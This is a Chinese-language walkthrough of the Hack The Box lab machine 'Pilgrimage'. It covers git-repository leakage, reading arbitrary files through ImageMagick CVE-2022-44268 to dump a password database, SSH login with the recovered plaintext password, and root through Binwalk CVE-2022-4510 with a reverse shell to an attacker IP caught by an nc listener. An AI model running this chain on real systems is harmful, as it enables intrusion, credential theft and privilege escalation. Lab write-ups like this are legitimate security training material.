信息搜集
nmap端口扫描
发现22和80端口
1 | sudo nmap -p- --min-rate 10000 10.10.11.219 |
nmap详细扫描
发现 pilgrimage.htb (10.10.11.219)以及Git repository,将域名和ip加入/etc/hosts;
1 | sudo nmap -sT -sV -sC -O -p80 10.10.11.219 |
GITHACK扫描
根据上一步搜集的Git repository;知道有git泄露;
1 | python3 GitHack.py http://pilgrimage.htb/.git/ |
1 | ls -al |
user
imagemagick
1 | #index.php |
分析代码,可以看出它处理网站上图像的上传和调整大小。它还验证用户是否经过身份验证并返回他们的用户名。如果请求是 POST 方法并且发送图像以调整大小,则代码会处理该图像,将其保存到特定位置,并将信息记录在数据库中。随后,用户被重定向到基于该过程的结果显示成功或失败消息的页面。
该代码利用 ImageMagick(特别是“magick Convert”命令)来调整上传文件的大小并将其保存在 /shrunk 路径中
ImageMagick从命令行调用magick
,是一个免费的开源跨平台软件套件,用于显示、创建、转换、修改和编辑光栅图像
查看magick版本得知7.1.0-49
,此版本存在CVE-2022-44268,任意文件读取漏洞;
1 | ./magick --version |
直接利用poc
1 | git clone https://github.com/voidz0r/CVE-2022-44268 |
Cargo 是Rust 编程语言的构建和依赖管理工具。Cargo 为 Rust 项目提供构建、测试和依赖管理功能。
上传生成的image.png图片,并下载下来
identify
命令通常用于识别和显示图像文件的信息,比如格式、分辨率、色彩深度等;-verbose
参数用于显示更详细的图像信息,包括像素值、颜色深度、压缩类型等。使用-verbose参数可以获取更全面的图像文件信息。
grep
工具,其中-P参数表示使用Perl兼容的正则表达式,-v参数表示反向匹配,即匹配不包含指定模式的行。
正则表达式”^( |Image)”的意思是匹配以空格或者”Image”开头的行。因此,整个命令的意思是从输入中过滤掉以空格或”Image”开头的行,只显示不匹配这个模式的行。
1 | identify -verbose 65b098f813ad9.png|grep -Pv "^( |Image)" |
进行hex解码得到如下
1 | root:x:0:0:root:/root:/bin/bash |
其中明显存在一个用户:emily
在register.php中可以知道数据库为sqlite且文件路径为/var/db/pilgrimage
1 | #register.php |
尝试得到”/var/db/pilgrimage”文件,重复上面的操作,上传图像并下载;
1 | cargo run "/var/db/pilgrimage" |
1 | identify -verbose 65b09b31d31ba.png| grep -Pv "^( |Image)" |
因为它是二进制数据,并且脚本似乎只支持 ASCII 文本。我可以手动从文件中获取数据。我将从网站下载该文件,并稍微使用一下grep
,我可以仅隔离带有十六进制数据的行,然后使用xxd
将其转换回二进制:
1 | identify -verbose 65b09b31d31ba.png| grep -Pv "^( |Image)"| xxd -r -p > pilgrimage.sqlite |
使用了xxd工具,-r参数表示将十六进制转换为二进制,-p参数表示使用简洁模式(不输出地址和ASCII码),>表示将输出重定向到文件pilgrimage.sqlite中。
pilgrimage.sqlite
的users表中发现用户emily
的密码,
1 | chmod +x ./pilgrimage.sqlite |
ssh连接
1 | ssh emily@10.10.11.219 |
binwalk
权限检查
1 | emily@pilgrimage:~$ sudo -l |
find / -perm -u=s -type f 2>/dev/null
也无果之后查看root进程;
1 | ps -aux|grep root |
根正在运行/usr/sbin/malwarescan.sh
。还有一个inotifywait
正在运行的进程正在监视要在目录中创建的文件/var/www/pilgrimage.htb/shrunk
。inotifywait
是一种每当文件系统上发生某些事件时触发进程的方法。
/usr/sbin/malwarescan.sh
内容如下
1 |
|
inotifywait是一个Linux命令行工具,用于监视文件系统事件。它依赖于Linux内核提供的inotify接口,可以监视文件或目录的变化,比如文件的创建、删除、修改、移动等操作。当指定的文件或目录发生变化时,inotifywait可以立即响应并执行相应的操作,比如运行特定的命令或脚本
Binwalk 是一个用于搜索给定二进制图像中嵌入文件和可执行代码的工具。具体来说,它设计用于识别固件映像中嵌入的文件和代码。
发现的Binwalk版本为2.3.2,该版本存在允许任意代码执行的漏洞CVE-2022-4510。我们将利用此漏洞来升级我们的访问权限。
利用poc
1 | python3 exp.py image.png 10.10.16.8 5555 |
将生成的”binwalk_exploit.png”上传到”/var/www/pilgrimage.htb/shrunk/“目录下
1 | python3 -m http.server |
1 | wget http://10.10.16.8:8000/binwalk_exploit.png |
本地监听得到反弹shell
1 | nc -lnvp 5555 |
总结
使用nmap扫描出80端口和git泄露
;审计源码;发现上传后的文件会经过magick
处理,而git泄露了magick
二进制文件;magick --version
发现此版本存在任意文件读取漏洞;在源码中发现了数据库sqlite的数据库文件路径,通过magick泄露出数据库文件;从中发现了用户名及密码:emily|abigchonkyboi123
;ssh连接后,常规权限检查并没有发现可利用点,通过查找root用户进程,/usr/sbin/malwarescan.sh
中执行这binwalk -e $filename
操作,并且binwalk版本为2.3.2
存在任意命令执行漏洞;最终利用此漏洞提权成功